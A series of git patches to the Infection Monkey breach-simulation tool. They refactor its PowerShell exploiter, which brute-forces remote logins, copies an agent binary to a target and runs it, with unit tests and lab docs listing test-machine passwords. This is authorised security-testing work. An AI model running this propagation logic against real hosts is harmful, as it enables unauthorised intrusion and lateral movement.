6 attempts reported, 5 failed and 1 succeeded - assert len(powershell_exploiter.exploit_attempts) == len(execute_cmd_returns) - assert ( - len([attempt for attempt in powershell_exploiter.exploit_attempts if not attempt["result"]]) - == 5 - ) - assert ( - len([attempt for attempt in powershell_exploiter.exploit_attempts if attempt["result"]]) - == 1 - ) + successful_attempts = [attempt for attempt in exploit_result.attempts if attempt["result"]] + unsuccessful_attempts = [ + attempt for attempt in exploit_result.attempts if not attempt["result"] + ] + + assert len(exploit_result.attempts) == 6 + assert len(unsuccessful_attempts) == 5 + assert len(successful_attempts) == 1 def test_build_monkey_execution_command(): From 020dbbf2fe384e4bb93082e69be16bbee35cafee Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 14 Mar 2022 12:16:48 -0400 Subject: [PATCH 0736/1110] Agent: Set exploitation_success==True if powershell login successful --- monkey/infection_monkey/exploit/powershell.py | 5 ++--- .../infection_monkey/exploit/test_powershell.py | 17 +++++++++++++++-- 2 files changed, 17 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index e8999545a..9c34227ee 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -78,15 +78,14 @@ class PowerShellExploiter(HostExploiter): ) return self.exploit_result + self.exploit_result.exploitation_success = True + try: self._execute_monkey_agent_on_victim() self.exploit_result.propagation_success = True - self.exploit_result.exploitation_success = True except Exception as ex: logger.error(f"Failed to propagate to the remote host: {ex}") self.exploit_result.error_message = str(ex) - self.exploit_result.propagation_success = False - self.exploit_result.exploitation_success = False return self.exploit_result diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py index 5af0dd617..6d0aa6df3 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -59,6 +59,7 @@ def test_powershell_disabled(monkeypatch, powershell_exploiter, powershell_argum exploit_result = powershell_exploiter.exploit_host(**powershell_arguments) assert not exploit_result.exploitation_success + assert not exploit_result.propagation_success assert "disabled" in exploit_result.error_message @@ -99,6 +100,7 @@ def test_no_valid_credentials(monkeypatch, powershell_exploiter, powershell_argu exploit_result = powershell_exploiter.exploit_host(**powershell_arguments) assert not exploit_result.exploitation_success + assert not exploit_result.propagation_success assert "Unable to authenticate" in exploit_result.error_message @@ -130,7 +132,8 @@ def test_failed_copy(monkeypatch, powershell_exploiter, powershell_arguments): monkeypatch.setattr(powershell, "PowerShellClient", mock_client) exploit_result = powershell_exploiter.exploit_host(**powershell_arguments) - assert not exploit_result.exploitation_success + assert exploit_result.exploitation_success + assert not exploit_result.propagation_success assert "copy" in exploit_result.error_message @@ -144,11 +147,21 @@ def test_failed_monkey_execution(monkeypatch, powershell_exploiter, powershell_a monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) exploit_result = powershell_exploiter.exploit_host(**powershell_arguments) - # assert exploit_result.exploitation_success is True + assert exploit_result.exploitation_success is True assert exploit_result.propagation_success is False assert "execute" in exploit_result.error_message +def test_successful_propagation(monkeypatch, powershell_exploiter, powershell_arguments): + mock_client = MagicMock() + monkeypatch.setattr(powershell, "PowerShellClient", mock_client) + + exploit_result = powershell_exploiter.exploit_host(**powershell_arguments) + + assert exploit_result.exploitation_success + assert exploit_result.propagation_success + + def test_login_attempts_correctly_reported(monkeypatch, powershell_exploiter, powershell_arguments): # 1st call is for determining HTTP/HTTPs. 6 remaining calls are actual login attempts. the 6th # login attempt doesn't throw an exception, signifying that login with credentials was From 5be0a3d6f9a73c7129b87a7616877b15ff308b40 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 14 Mar 2022 12:38:06 -0400 Subject: [PATCH 0737/1110] UT: Use a mock IAgentRepository instead of monkeypatching open() --- .../infection_monkey/exploit/test_powershell.py | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py index 6d0aa6df3..d3d516353 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -1,3 +1,4 @@ +from io import BytesIO from unittest.mock import MagicMock import pytest @@ -21,6 +22,10 @@ class AuthenticationErrorForTests(Exception): pass +mock_agent_repository = MagicMock() +mock_agent_repository.get_agent_binary.return_value = BytesIO(b"BINARY_EXECUTABLE") + + @pytest.fixture def powershell_arguments(): options = { @@ -37,7 +42,7 @@ def powershell_arguments(): "options": options, "current_depth": 2, "telemetry_messenger": MagicMock(), - "agent_repository": MagicMock(), + "agent_repository": mock_agent_repository, } return arguments @@ -48,7 +53,6 @@ def powershell_exploiter(monkeypatch): monkeypatch.setattr(powershell, "AuthenticationError", AuthenticationErrorForTests) monkeypatch.setattr(powershell, "is_windows_os", lambda: True) - monkeypatch.setattr("builtins.open", lambda _, __: MagicMock()) return pe @@ -160,6 +164,7 @@ def test_successful_propagation(monkeypatch, powershell_exploiter, powershell_ar assert exploit_result.exploitation_success assert exploit_result.propagation_success + assert not exploit_result.error_message def test_login_attempts_correctly_reported(monkeypatch, powershell_exploiter, powershell_arguments): From e09f15b1bc0a81af17af557922fcf4e9a4f8145b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 14 Mar 2022 12:54:23 -0400 Subject: [PATCH 0738/1110] Agent: Add a debug log message on successful auth to PowerShellClient --- .../exploit/powershell_utils/powershell_client.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py index 82c073ff2..80aefee00 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py +++ b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py @@ -86,6 +86,7 @@ class PowerShellClient(IPowerShellClient): # Attempt to execute dir command to know if authentication was successful. This will raise # an exception if authentication was not successful. self.execute_cmd("dir") + logger.debug("Successfully authenticated to remote PowerShell service") def execute_cmd(self, cmd: str) -> str: output, _, _ = self._client.execute_cmd(cmd) From d154d26fe9412bf7b84fc6a7241ef97f225cd426 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 14 Mar 2022 18:03:58 +0100 Subject: [PATCH 0739/1110] Agent: Load PowerShellExploiter into the puppet --- monkey/infection_monkey/monkey.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index cea09ff45..5a6238dfc 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -19,6 +19,7 @@ from infection_monkey.exploit import CachingAgentRepository, ExploiterWrapper from infection_monkey.exploit.hadoop import HadoopExploiter from infection_monkey.exploit.log4shell import Log4ShellExploiter from infection_monkey.exploit.mssqlexec import MSSQLExploiter +from infection_monkey.exploit.powershell import PowerShellExploiter from infection_monkey.exploit.sshexec import SSHExploiter from infection_monkey.exploit.wmiexec import WmiExploiter from infection_monkey.exploit.zerologon import ZerologonExploiter @@ -221,6 +222,9 @@ class InfectionMonkey: puppet.load_plugin( "Log4ShellExploiter", exploit_wrapper.wrap(Log4ShellExploiter), PluginType.EXPLOITER ) + puppet.load_plugin( + "PowerShellExploiter", exploit_wrapper.wrap(PowerShellExploiter), PluginType.EXPLOITER + ) puppet.load_plugin("SSHExploiter", exploit_wrapper.wrap(SSHExploiter), PluginType.EXPLOITER) puppet.load_plugin("WmiExploiter", exploit_wrapper.wrap(WmiExploiter), PluginType.EXPLOITER) puppet.load_plugin( From e4d3cc884127b55c68ca93517b8bed6e50e0a75f Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 14 Mar 2022 19:17:46 +0100 Subject: [PATCH 0740/1110] Agent: Use logger variable instead of logging --- monkey/infection_monkey/exploit/powershell.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 9c34227ee..066dfc508 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -55,7 +55,7 @@ class PowerShellExploiter(HostExploiter): try: use_ssl = self._is_client_using_https() except PowerShellRemotingDisabledError as e: - logging.info(e) + logger.info(e) self.exploit_result.error_message = ( "PowerShell Remoting appears to be disabled on the remote host" ) @@ -91,22 +91,22 @@ class PowerShellExploiter(HostExploiter): def _is_client_using_https(self) -> bool: try: - logging.debug("Checking if powershell remoting is enabled over HTTP.") + logger.debug("Checking if powershell remoting is enabled over HTTP.") self._try_http() return False except AuthenticationError: return False except Exception as e: - logging.debug(f"Powershell remoting over HTTP seems disabled: {e}") + logger.debug(f"Powershell remoting over HTTP seems disabled: {e}") try: - logging.debug("Checking if powershell remoting is enabled over HTTPS.") + logger.debug("Checking if powershell remoting is enabled over HTTPS.") self._try_https() return True except AuthenticationError: return True except Exception as e: - logging.debug(f"Powershell remoting over HTTPS seems disabled: {e}") + logger.debug(f"Powershell remoting over HTTPS seems disabled: {e}") raise PowerShellRemotingDisabledError("Powershell remoting seems to be disabled.") def _try_http(self): From 264fa440c6c0a4c389544b5f31aea5f7350b906d Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 15 Mar 2022 14:04:02 +0100 Subject: [PATCH 0741/1110] Agent: Use random name for monkey temporary bin --- monkey/infection_monkey/exploit/powershell.py | 15 ++++++++------- monkey/infection_monkey/exploit/tools/helpers.py | 9 +++++++++ 2 files changed, 17 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 066dfc508..2a0d800de 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -20,15 +20,13 @@ from infection_monkey.exploit.powershell_utils.powershell_client import ( IPowerShellClient, PowerShellClient, ) -from infection_monkey.exploit.tools.helpers import get_monkey_depth +from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_random_file_suffix from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.environment import is_windows_os logger = logging.getLogger(__name__) -TEMP_MONKEY_BINARY_FILEPATH = "./monkey_temp_bin" - class PowerShellRemotingDisabledError(Exception): pass @@ -177,16 +175,19 @@ class PowerShellExploiter(HostExploiter): ) def _copy_monkey_binary_to_victim(self, monkey_path_on_victim): - self._create_local_agent_file(TEMP_MONKEY_BINARY_FILEPATH) + + temp_monkey_binary_filepath = f"monkey_temp_bin_{get_random_file_suffix()}" + + self._create_local_agent_file(temp_monkey_binary_filepath) try: logger.info(f"Attempting to copy the monkey agent binary to {self.host.ip_addr}") - self._client.copy_file(TEMP_MONKEY_BINARY_FILEPATH, monkey_path_on_victim) + self._client.copy_file(temp_monkey_binary_filepath, monkey_path_on_victim) except Exception as ex: raise RemoteAgentCopyError(f"Failed to copy the agent binary to the victim: {ex}") finally: - if os.path.isfile(TEMP_MONKEY_BINARY_FILEPATH): - os.remove(TEMP_MONKEY_BINARY_FILEPATH) + if os.path.isfile(temp_monkey_binary_filepath): + os.remove(temp_monkey_binary_filepath) def _create_local_agent_file(self, binary_path): agent_binary_bytes = self.agent_repository.get_agent_binary("windows") diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index 7a72606bf..0492223ed 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -2,6 +2,8 @@ import logging from typing import Any, Mapping from infection_monkey.model import VictimHost +import string +from random import SystemRandom logger = logging.getLogger(__name__) @@ -23,6 +25,13 @@ def get_target_monkey_by_os(is_windows, is_32bit): ) +def get_random_file_suffix() -> str: + character_set = list(string.ascii_letters + string.digits + "_" + "-") + safe_random = SystemRandom() + random_string = "".join(safe_random.choices(character_set, k=8)) + return random_string + + def get_monkey_depth(): from infection_monkey.config import WormConfiguration From 241641ba80717c7665014f573967cd904dabbbb1 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 15 Mar 2022 15:17:17 +0100 Subject: [PATCH 0742/1110] Island: Fix WindowsPath when running monkey from island --- monkey/monkey_island/cc/services/run_local_monkey.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/run_local_monkey.py b/monkey/monkey_island/cc/services/run_local_monkey.py index 6059ceb71..be08352e8 100644 --- a/monkey/monkey_island/cc/services/run_local_monkey.py +++ b/monkey/monkey_island/cc/services/run_local_monkey.py @@ -47,7 +47,7 @@ class LocalMonkeyRunService: ip = local_ip_addresses()[0] port = ISLAND_PORT - args = [dest_path, "m0nk3y", "-s", f"{ip}:{port}"] + args = [str(dest_path), "m0nk3y", "-s", f"{ip}:{port}"] subprocess.Popen(args, cwd=LocalMonkeyRunService.DATA_DIR) except Exception as exc: logger.error("popen failed", exc_info=True) From e8a162ab5ba69d95d73c20135a8904875d23f250 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 15 Mar 2022 16:53:00 +0100 Subject: [PATCH 0743/1110] Agent: Fix powershell second hop authentication On the second hop powershell is trying to authenticate with only a dummy username and passsword which is not enough. We need to provide the local domain for the username, which case is '.\' --- monkey/infection_monkey/exploit/powershell.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 2a0d800de..7a46f8cc2 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -115,7 +115,7 @@ class PowerShellExploiter(HostExploiter): def _try_ssl_login(self, use_ssl: bool): credentials = Credentials( - username="dummy_username", + username=".\\dummy_username", secret="dummy_password", secret_type=SecretType.PASSWORD, ) From 153d65eca0bec04bd071a9e372e98f9825b100d4 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 15 Mar 2022 16:59:26 +0100 Subject: [PATCH 0744/1110] Agent: User current_depth instead of get_monkey_depth() in PowerShell --- monkey/infection_monkey/exploit/powershell.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 7a46f8cc2..fa4ec74e1 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -20,7 +20,7 @@ from infection_monkey.exploit.powershell_utils.powershell_client import ( IPowerShellClient, PowerShellClient, ) -from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_random_file_suffix +from infection_monkey.exploit.tools.helpers import get_random_file_suffix from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.environment import is_windows_os @@ -196,7 +196,7 @@ class PowerShellExploiter(HostExploiter): def _run_monkey_executable_on_victim(self, executable_path): monkey_execution_command = build_monkey_execution_command( - self.host, get_monkey_depth() - 1, executable_path + self.host, self.current_depth - 1, executable_path ) logger.info( From 48cded4c7cb36c53cb4de244eaa3a931206dd161 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 15 Mar 2022 12:25:48 -0400 Subject: [PATCH 0745/1110] Agent: Make CachingAgentRepository fully thread-safe --- .../infection_monkey/exploit/caching_agent_repository.py | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/caching_agent_repository.py b/monkey/infection_monkey/exploit/caching_agent_repository.py index 2e52990b9..8a55b3f63 100644 --- a/monkey/infection_monkey/exploit/caching_agent_repository.py +++ b/monkey/infection_monkey/exploit/caching_agent_repository.py @@ -1,4 +1,5 @@ import io +import threading from functools import lru_cache from typing import Mapping @@ -19,9 +20,15 @@ class CachingAgentRepository(IAgentRepository): def __init__(self, island_url: str, proxies: Mapping[str, str]): self._island_url = island_url self._proxies = proxies + self._lock = threading.Lock() def get_agent_binary(self, os: str, _: str = None) -> io.BytesIO: - return io.BytesIO(self._download_binary_from_island(os)) + # If multiple calls to get_agent_binary() are made simultaneously before the result of + # _download_binary_from_island() is cached, then multiple requests will be sent to the + # island. Add a mutex in front of the call to _download_agent_binary_from_island() so + # that only one request per OS will be sent to the island. + with self._lock: + return io.BytesIO(self._download_binary_from_island(os)) @lru_cache(maxsize=None) def _download_binary_from_island(self, os: str) -> bytes: From 1d81072d83982fd4669c539d77c42f434fdda490 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 15 Mar 2022 18:44:18 +0100 Subject: [PATCH 0746/1110] Agent: Remove unsued GET_ARCH_WINDOWS command --- monkey/infection_monkey/model/__init__.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index e67ed0cad..19f96cdae 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -43,8 +43,6 @@ CHMOD_MONKEY = "chmod +x %(monkey_path)s" RUN_MONKEY = "%(monkey_path)s %(monkey_type)s %(parameters)s" # Commands used to check for architecture and if machine is exploitable CHECK_COMMAND = "echo %s" % ID_STRING -# Architecture checking commands -GET_ARCH_WINDOWS = "wmic os get osarchitecture" # can't remove, powershell exploiter uses HADOOP_WINDOWS_COMMAND = ( "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " From 747365818f493df10fe277d5a91531b7bbd67c8a Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 15 Mar 2022 18:44:42 +0100 Subject: [PATCH 0747/1110] BB: Update documentation for PowerShell machines --- envs/monkey_zoo/docs/fullDocs.md | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index 08ffb4e5e..71e8c62e2 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -924,7 +924,8 @@ Update all requirements using deployment script:

    - +
    Notes:User: m0nk3y, Password: Passw0rd!
    User: m0nk3y-user, No Password.
    User: m0nk3y, Password: Passw0rd!
    User: m0nk3y-user, No Password.
    +Accessibale through Island using m0nk3y-user.
    @@ -952,7 +953,8 @@ Update all requirements using deployment script:
    Notes: -User: m0nk3y, Password: Passw0rd! +User: m0nk3y, Password: Passw0rd!
    +Accessiable through cached credentials (Windows Island) @@ -980,7 +982,8 @@ Update all requirements using deployment script:
    Notes: -User: m0nk3y, Password: Xk8VDTsC +User: m0nk3y, Password: Xk8VDTsC
    +Accessiable through the Island using NTLM hash @@ -1008,7 +1011,8 @@ Update all requirements using deployment script:
    Notes: -User: m0nk3y, Password: Passw0rd! +User: m0nk3y, Password: Passw0rd!
    +Accessiable only through 3-45 Powershell using credentials reuse From 55f969b44fa0f03e6c77f1663576a8ecacc75af8 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 16 Mar 2022 13:02:48 +0100 Subject: [PATCH 0748/1110] Agent: Use random instead of random.SystemRandom The calls to random doesn't need to be cryptographically secure. SystemRandom can block in Linux indefinitely. --- monkey/infection_monkey/exploit/hadoop.py | 7 ++++--- monkey/infection_monkey/exploit/powershell.py | 2 ++ monkey/infection_monkey/exploit/tools/helpers.py | 8 ++++---- 3 files changed, 10 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 0618a3dad..73caf065a 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -6,8 +6,8 @@ import json import posixpath +import random import string -from random import SystemRandom import requests @@ -71,10 +71,11 @@ class HadoopExploiter(WebRCE): ) resp = json.loads(resp.content) app_id = resp["application-id"] + # Create a random name for our application in YARN - safe_random = SystemRandom() + # random.SystemRandom can block indefinitely in Linux rand_name = ID_STRING + "".join( - [safe_random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)] + [random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)] # noqa: DUO102 ) payload = self._build_payload(app_id, rand_name, command) resp = requests.post( diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index fa4ec74e1..41b9d9d00 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -114,6 +114,8 @@ class PowerShellExploiter(HostExploiter): self._try_ssl_login(use_ssl=True) def _try_ssl_login(self, use_ssl: bool): + # '.\' is machine qualifier if the user is in the local domain + # which happens if we try to exploit a machine on second hop credentials = Credentials( username=".\\dummy_username", secret="dummy_password", diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index 0492223ed..155800fe6 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -1,9 +1,9 @@ import logging +import random +import string from typing import Any, Mapping from infection_monkey.model import VictimHost -import string -from random import SystemRandom logger = logging.getLogger(__name__) @@ -27,8 +27,8 @@ def get_target_monkey_by_os(is_windows, is_32bit): def get_random_file_suffix() -> str: character_set = list(string.ascii_letters + string.digits + "_" + "-") - safe_random = SystemRandom() - random_string = "".join(safe_random.choices(character_set, k=8)) + # random.SystemRandom can block indefinitely in Linux + random_string = "".join(random.choices(character_set, k=8)) # noqa: DUO102 return random_string From f9936fe65dc488029957e9bfab52649bdd7eb2ab Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 16 Mar 2022 11:55:46 -0400 Subject: [PATCH 0749/1110] Agent: Add connect() method to IPowerShellClient --- monkey/infection_monkey/exploit/powershell.py | 6 ++- .../powershell_utils/powershell_client.py | 21 ++++++--- .../exploit/test_powershell.py | 46 +++++++++++++------ 3 files changed, 51 insertions(+), 22 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 41b9d9d00..d18a5c982 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -127,9 +127,10 @@ class PowerShellExploiter(HostExploiter): encryption=ENCRYPTION_AUTO, ssl=use_ssl, ) - # TODO: Report login attempt or find a better way of detecting if SSL is enabled - PowerShellClient(self.host.ip_addr, credentials, auth_options) + # TODO: Report login attempt or find a better way of detecting if SSL is enabled + client = PowerShellClient(self.host.ip_addr, credentials, auth_options) + client.connect() def _authenticate_via_brute_force( self, credentials: List[Credentials], auth_options: List[AuthOptions] @@ -137,6 +138,7 @@ class PowerShellExploiter(HostExploiter): for (creds, opts) in zip(credentials, auth_options): try: client = PowerShellClient(self.host.ip_addr, creds, opts) + client.connect() logger.info( f"Successfully logged into {self.host.ip_addr} using Powershell. User: " f"{creds.username}, Secret Type: {creds.secret_type.name}" diff --git a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py index 80aefee00..c0ae8b260 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py +++ b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py @@ -54,6 +54,10 @@ def format_password(credentials: Credentials) -> Optional[str]: class IPowerShellClient(Protocol, metaclass=abc.ABCMeta): + @abc.abstractmethod + def connect(self) -> str: + pass + @abc.abstractmethod def execute_cmd(self, cmd: str) -> str: pass @@ -72,14 +76,19 @@ class PowerShellClient(IPowerShellClient): _set_sensitive_packages_log_level_to_error() self._ip_addr = ip_addr + self._credentials = credentials + self._auth_options = auth_options + self._client = None + + def connect(self): self._client = Client( - ip_addr, - username=credentials.username, - password=format_password(credentials), + self._ip_addr, + username=self._credentials.username, + password=format_password(self._credentials), cert_validation=False, - auth=auth_options.auth_type, - encryption=auth_options.encryption, - ssl=auth_options.ssl, + auth=self._auth_options.auth_type, + encryption=self._auth_options.encryption, + ssl=self._auth_options.ssl, connection_timeout=CONNECTION_TIMEOUT, ) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py index d3d516353..f75c57f17 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -58,8 +58,11 @@ def powershell_exploiter(monkeypatch): def test_powershell_disabled(monkeypatch, powershell_exploiter, powershell_arguments): - mock_powershell_client = MagicMock(side_effect=Exception) - monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) + mock_powershell_client = MagicMock() + mock_powershell_client.connect = MagicMock(side_effect=Exception) + monkeypatch.setattr( + powershell, "PowerShellClient", MagicMock(return_value=mock_powershell_client) + ) exploit_result = powershell_exploiter.exploit_host(**powershell_arguments) assert not exploit_result.exploitation_success @@ -74,8 +77,12 @@ def test_powershell_http(monkeypatch, powershell_exploiter, powershell_arguments else: raise Exception - mock_powershell_client = MagicMock(side_effect=allow_http) - monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) + mock_powershell_client = MagicMock() + mock_powershell_client.connect = MagicMock(side_effect=allow_http) + monkeypatch.setattr( + powershell, "PowerShellClient", MagicMock(return_value=mock_powershell_client) + ) + powershell_exploiter.exploit_host(**powershell_arguments) for call_args in mock_powershell_client.call_args_list: @@ -89,8 +96,12 @@ def test_powershell_https(monkeypatch, powershell_exploiter, powershell_argument else: raise Exception - mock_powershell_client = MagicMock(side_effect=allow_https) - monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) + mock_powershell_client = MagicMock() + mock_powershell_client.connect = MagicMock(side_effect=allow_https) + monkeypatch.setattr( + powershell, "PowerShellClient", MagicMock(return_value=mock_powershell_client) + ) + powershell_exploiter.exploit_host(**powershell_arguments) for call_args in mock_powershell_client.call_args_list: @@ -99,8 +110,11 @@ def test_powershell_https(monkeypatch, powershell_exploiter, powershell_argument def test_no_valid_credentials(monkeypatch, powershell_exploiter, powershell_arguments): - mock_powershell_client = MagicMock(side_effect=AuthenticationErrorForTests) - monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) + mock_powershell_client = MagicMock() + mock_powershell_client.connect = MagicMock(side_effect=AuthenticationErrorForTests) + monkeypatch.setattr( + powershell, "PowerShellClient", MagicMock(return_value=mock_powershell_client) + ) exploit_result = powershell_exploiter.exploit_host(**powershell_arguments) assert not exploit_result.exploitation_success @@ -142,13 +156,14 @@ def test_failed_copy(monkeypatch, powershell_exploiter, powershell_arguments): def test_failed_monkey_execution(monkeypatch, powershell_exploiter, powershell_arguments): - mock_client = MagicMock() - mock_client.execute_cmd_as_detached_process = MagicMock( + mock_powershell_client = MagicMock() + mock_powershell_client.execute_cmd_as_detached_process = MagicMock( side_effect=Exception("EXECUTION FAILED") ) - mock_powershell_client = MagicMock(side_effect=authenticate(mock_client)) - monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) + monkeypatch.setattr( + powershell, "PowerShellClient", MagicMock(return_value=mock_powershell_client) + ) exploit_result = powershell_exploiter.exploit_host(**powershell_arguments) assert exploit_result.exploitation_success is True @@ -172,8 +187,11 @@ def test_login_attempts_correctly_reported(monkeypatch, powershell_exploiter, po # login attempt doesn't throw an exception, signifying that login with credentials was # successful. connection_attempts = [True, Exception, Exception, Exception, Exception, Exception, True] - mock_client = MagicMock(side_effect=connection_attempts) - monkeypatch.setattr(powershell, "PowerShellClient", mock_client) + mock_powershell_client = MagicMock(side_effect=connection_attempts) + mock_powershell_client.connect = MagicMock(side_effect=connection_attempts) + monkeypatch.setattr( + powershell, "PowerShellClient", MagicMock(return_value=mock_powershell_client) + ) exploit_result = powershell_exploiter.exploit_host(**powershell_arguments) From 8ae37a53705dbd181dc83d5f2749c22e33018cb1 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 16 Mar 2022 10:16:16 -0400 Subject: [PATCH 0750/1110] Island: Hide unresponsive hosts from the infection map Don't display a host on the infection map if the agent did not either receive a response to its ICMP packet or detect an open port on the scan target. --- .../cc/services/telemetry/processing/scan.py | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scan.py b/monkey/monkey_island/cc/services/telemetry/processing/scan.py index 764cd3044..54379dc45 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/scan.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/scan.py @@ -1,3 +1,5 @@ +from typing import Mapping + from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey from monkey_island.cc.services.node import NodeService @@ -13,6 +15,9 @@ from monkey_island.cc.services.telemetry.zero_trust_checks.segmentation import ( def process_scan_telemetry(telemetry_json): + if not _host_responded(telemetry_json["data"]["machine"]): + return + update_edges_and_nodes_based_on_scan_telemetry(telemetry_json) check_open_data_endpoints(telemetry_json) @@ -38,3 +43,11 @@ def update_edges_and_nodes_based_on_scan_telemetry(telemetry_json): ) label = NodeService.get_label_for_endpoint(node["_id"]) edge.update_label(node["_id"], label) + + +def _host_responded(machine_state: Mapping) -> bool: + return machine_state["icmp"] or _has_open_ports(machine_state) + + +def _has_open_ports(machine_state: Mapping) -> bool: + return len(machine_state["services"].keys()) > 0 From 7a8442b3315dd3bdb29c81a8deb96ec2ea1453bc Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 15 Mar 2022 